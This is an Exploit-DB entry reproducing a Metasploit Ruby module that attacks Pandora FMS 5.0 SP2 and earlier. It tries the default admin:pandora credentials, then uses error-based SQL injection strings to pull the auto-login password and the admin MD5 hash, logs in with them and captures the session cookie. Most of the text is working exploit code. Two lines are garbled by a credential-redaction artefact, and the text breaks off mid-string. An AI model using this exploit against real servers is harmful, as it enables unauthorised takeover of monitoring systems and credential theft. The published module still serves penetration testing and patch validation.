Exploit-DB #35380
Description: Pandora Fms - SQL Injection Remote Code Execution (Metasploit)
Type: remote
Platform: php
Date: 2014-11-26
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Pandora FMS SQLi Remote Code Execution',
      'Description'    => %q{
        This module attempts to exploit multiple issues in order to gain remote
        code execution under Pandora FMS version <= 5.0 SP2.  First, an attempt
        to authenticate using default credentials is performed.  If this method
        fails, a SQL injection vulnerability is leveraged in order to extract
        the "Auto Login" password hash.  If this value is not set, the module
        will then extract the administrator account's MD5 password hash.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Lincoln <Lincoln[at]corelan.be>', # Discovery, Original Proof of Concept
          'Jason Kratzer <pyoor[at]corelan.be>' # Metasploit Module
        ],
      'References'     =>
        [
          ['URL', 'http://pandorafms.com/downloads/whats_new_5-SP3.pdf'],
          ['URL', 'http://blog.pandorafms.org/?p=2041']
        ],
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['Pandora FMS version <= 5.0 SP2', {}]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 50000,
          'DisableNops' => true,
        },
      'DisclosureDate' => "Feb 1 2014",
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The URI of the vulnerable Pandora FMS instance', '/pandora_console/']),
          OptString.new('USER', [false, 'The username to authenticate with', 'admin']),
          OptString.new('PASS', [false, 'The password to authenticate with', 'pandora']),
        ], self.class)
  end

  def uri
    target_uri.path
  end


  def check
    vprint_status("#{peer} - Trying to detect installed version")

    version = nil
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, 'index.php')
    })

    if res && res.code == 200 && res.body =~ /Pandora FMS - the Flexible Monitoring System/
      if res.body =~ /<div id="ver_num">v(.*?)<\/div>/
        version = $1
      else
        return Exploit::CheckCode::Detected
      end
    end

    unless version.nil?
      vprint_status("#{peer} - Pandora FMS #{version} found")
      if Gem::Version.new(version) <= Gem::Version.new('5.0SP2')
        return Exploit::CheckCode::Appears
      end
    end

    Exploit::CheckCode::Safe
  end


  # Attempt to login with credentials (default admin:pandora)
  def authenticate
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'index.php'),
      'vars_get' => {
        'login' => "1",
      },
      'vars_post' => {
        'nick' => datastore['USER'],
        'pass' => datastore['PASS'],
        'Login' => 'Login',
      }
    })

    return auth_succeeded?(res)
  end

  # Attempt to login with auto login and SQLi
  def login_hash
    clue = rand_text_alpha(8)
    sql_clue = clue.each_byte.map { |b| b.to_s(16) }.join
    # select value from tconfig where token = 'loginhash_pwd';
    sqli = "1' AND (SELECT 2243 FROM(SELECT COUNT(*),CONCAT(0x#{sql_clue},(SELECT MID((IFNULL(CAST"
    sqli << "(value AS CHAR),0x20)),1,50) FROM tconfig WHERE token = 0x6c6f67696e686173685f707764 "
    sqli << "LIMIT 0,1),0x#{sql_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP "
    sqli << "BY x)a) AND 'msf'='msf"

    [CREDENTIAL_REDACTED]_sql(sqli, clue)

    if password && password.length != 0
      print_status("#{peer} - Extracted auto login password (#{password})")
    else
      print_error("#{peer} - No auto login password has been defined!")
      return false
    end

    print_status("#{peer} - Attempting to authenticate using (admin:#{password})")
    # Attempt to login using login hash password
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'index.php'),
      'vars_get' => {
        'loginhash' => 'auto',
      },
      'vars_post' => {
        'loginhash_data' => Rex::Text.md5("admin#{password}"),
        'loginhash_user' => 'admin',
      }
    })

    return auth_succeeded?(res)
  end


  def auth_succeeded?(res)
    if res && res.code == 200 && res.body.include?('Welcome to Pandora FMS')
      print_status("#{peer} - Successfully authenticated!")
      print_status("#{peer} - Attempting to retrieve session cookie")
      @cookie = res.get_cookies
      if @cookie.include?('PHPSESSID')
        print_status("#{peer} - Successfully retrieved session cookie: #{@cookie}")
        return true
      else
        print_error("#{peer} - Error retrieving cookie!")
      end
    else
      print_error("#{peer} - Authentication failed!")
    end

    false
  end


  def extract
    # Generate random string and convert to hex
    clue = rand_text_alpha(8)
    hex_clue = clue.each_byte.map { |b| b.to_s(16) }.join

    # select password from tusuario where id_user = 0;
    sqli = "test' AND (SELECT 5612 FROM(SELECT COUNT(*),CONCAT(0x#{hex_clue},(SELECT MID((IFNULL"
    sqli << "(CAST(password AS CHAR),0x20)),1,50) FROM tusuario WHERE id_user = 0 LIMIT 0,1)"
    sqli << ",0x#{hex_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY "
    sqli << "x)a) AND 'msf'='msf"

    [CREDENTIAL_REDACTED]_sql(sqli, clue)

    if password && password.length != 0
      print_good("#{peer} - Extracted admin password hash, unsalted md5 - [ #{password}